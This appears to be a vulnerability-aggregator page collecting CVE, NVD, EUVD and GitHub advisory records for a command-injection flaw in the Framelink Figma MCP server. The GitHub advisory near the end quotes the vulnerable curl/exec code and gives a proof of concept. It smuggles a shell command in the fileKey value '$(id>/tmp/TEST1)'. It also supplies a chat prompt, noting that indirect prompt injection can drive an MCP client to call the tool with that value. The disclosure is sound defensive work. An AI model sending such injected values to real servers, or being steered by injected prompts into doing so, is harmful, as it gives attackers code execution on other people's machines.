Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2025-15061
PublishedFramelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.
- Source published
- 23 Jan 2026 03:20:19 UTC
- Source modified
- 23 Jan 2026 19:35:55 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.0 · 9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cve-program · CVE-2025-53967
PublishedFramelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl command. The vulnerable endpoint fails to properly sanitize user-supplied input, enabling the attacker to inject malicious commands that are executed with the privileges of the MCP process. Exploitation requires network access to the MCP interface.
- Source published
- 8 Oct 2025 00:00:00 UTC
- Source modified
- 8 Oct 2025 17:18:20 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 8.0 CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
euvd · EUVD-2025-31753
PublishedFramelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl command. The vulnerable endpoint fails to properly sanitize user-supplied input, enabling the attacker to inject malicious commands that are executed with the privileges of the MCP process. Exploitation requires network access to the MCP interface.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 8, 2025, 12:00:00 AM
dateUpdated: Oct 8, 2025, 5:18:20 PM
- Source published
- Oct 8, 2025, 12:00:00 AM (timezone not stated)
- Source modified
- Oct 8, 2025, 5:18:20 PM (timezone not stated)
- Observed here
- 11 Nov 2026 03:32:22 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 8.0 CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
euvd · EUVD-2026-4488
PublishedFramelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jan 23, 2026, 3:20:19 AM
dateUpdated: Jan 23, 2026, 7:35:55 PM
- Source published
- Jan 23, 2026, 3:20:19 AM (timezone not stated)
- Source modified
- Jan 23, 2026, 7:35:55 PM (timezone not stated)
- Observed here
- 11 Nov 2026 02:42:37 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.0 · 9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvd · CVE-2025-15061
PublishedFramelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-78
Original publisher date fields
published: 2026-01-23T04:16:00.893
lastModified: 2026-06-17T08:37:02.070
- Source published
- 23 Jan 2026 04:16:00 UTC
- Source modified
- 17 Jun 2026 08:37:02 UTC
- Observed here
- 25 Oct 2026 01:17:29 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.0 · [email protected] · Secondary · 9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvd · CVE-2025-53967
PublishedFramelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl command. The vulnerable endpoint fails to properly sanitize user-supplied input, enabling the attacker to inject malicious commands that are executed with the privileges of the MCP process. Exploitation requires network access to the MCP interface.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-420
Original publisher date fields
published: 2025-10-08T17:15:34.507
lastModified: 2026-10-08T13:10:00.200
- Source published
- 8 Oct 2025 17:15:34 UTC
- Source modified
- 8 Oct 2026 13:10:00 UTC
- Observed here
- 25 Oct 2026 02:25:06 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 8.0 CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
osv · GHSA-gxw4-4fc5-9gr5
Published### Summary A command injection vulnerability exists in the `figma-developer-mcp` MCP Server. The vulnerability is caused by the unsanitized use of input parameters within a call to `child_process.exec`, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process's privileges. The server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (`|`, `>`, `&&`, etc.). ### Details The MCP Server exposes tools to perform several figma operations. An MCP Client can be instructed to execute additional actions for example via indirect prompt injection that can lead to command injection by calling vulnerable tools with malicious inputs. Below some example of vulnerable code and different ways to test this vulnerability. ### Vulnerable code The following snippet illustrates the vulnerable code pattern used in the MCP Server’s tooling. ```js // https://github.com/GLips/Figma-Context-MCP/blob/v0.5.2/src/utils/fetch-with-retry.ts#L35 export async function fetchWithRetry<T>(url: string, options: RequestOptions = {}): Promise<T> { try { const response = await fetch(url, options); ... } catch (fetchError: any) { ... const curlHeaders = formatHeadersForCurl(options.headers); ... const curlCommand = `curl -s -S --fail-with-body -L ${curlHeaders.join(" ")} "${url}"`; //<--- ``` #### Using MCP Client IDE 1) Verify the file `/tmp/TEST`1 does **not** exist: ``` cat /tmp/TEST1 cat: /tmp/TEST1: No such file or directory ``` 2) setup your client IDE ```json { "mcpServers": { "Framelink Figma MCP": { "command": "npx", "args": ["-y", "figma-developer-mcp", "--figma-api-key=TEST", "--stdio"] } } } ``` 4) open the chat and enter the following prompt: ``` Get comprehensive Figma file from fileKey="$(id>/tmp/TEST1)" (do not remove any char) - do not call any other tool ``` 5) run the `get_figma_data` tool ```json { "fileKey": "$(id>/tmp/TEST1)" } ``` 6) Confirm that the injected command executed: ``` cat /tmp/TEST1 uid=.... ``` #### Using MCP Inspector 1) Open the MCP Inspector: ``` npx @modelcontextprotocol/inspector ``` 2) In MCP Inspector: - set transport type: `STDIO` - set the `command` to `npx` - set the arguments to `figma-developer-mcp --stdio` - set the `FIGMA_API_KEY` env variable (i.e `TEST`) - click Connect - go to the **Tools** tab and click **List Tools** - select the `get_figma_data` tool 3) Verify the file `/tmp/TEST` does **not** exist: ``` cat /tmp/TEST2 cat: /tmp/TEST: No such file or directory ``` 5) In the **fileKey** field, input: ``` $(id>/tmp/TEST2) ``` - Click **Run Tool** 6) Observe the request being sent: ```json { "method": "tools/call", "params": { "name": "get_figma_data", "arguments": { "fileKey": "$(id>/tmp/TEST2)" }, "_meta": { "progressToken": 0 } } } ``` Output: ```json { "content": [ { "type": "text", "text": "Error fetching file: Failed to make request to Figma API endpoint '/files/$(id>/tmp/TEST2)': Fetch failed with status 404: Not Found" } ], "isError": true } ``` Logs: ``` [INFO] [fetchWithRetry] Executing curl command: curl -s -S --fail-with-body -L -H "X-Figma-Token: test" "https://api.figma.com/v1/files/$(id>/tmp/TEST2)" ``` 7) Confirm that the injected command executed: ``` cat /tmp/TEST2 uid=..... ``` ### Remediation To mitigate this vulnerability, I suggest to avoid using `child_process.exec` with untrusted input. Instead, use a safer API such as [child_process.execFile](https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback), which allows you to pass arguments as a separate array — avoiding shell interpretation entirely. **NOTE: This mitigation—and others like input validation—have been implemented in versions 0.6.3 and above. To fix the issue, make sure you're using a version >=0.6.3.** ### Impact Command Injection / Remote Code Execution (RCE)
- Source published
- 30 Sep 2025 17:01:42 UTC
- Source modified
- 8 Oct 2026 02:56:07 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Publisher rating · HIGH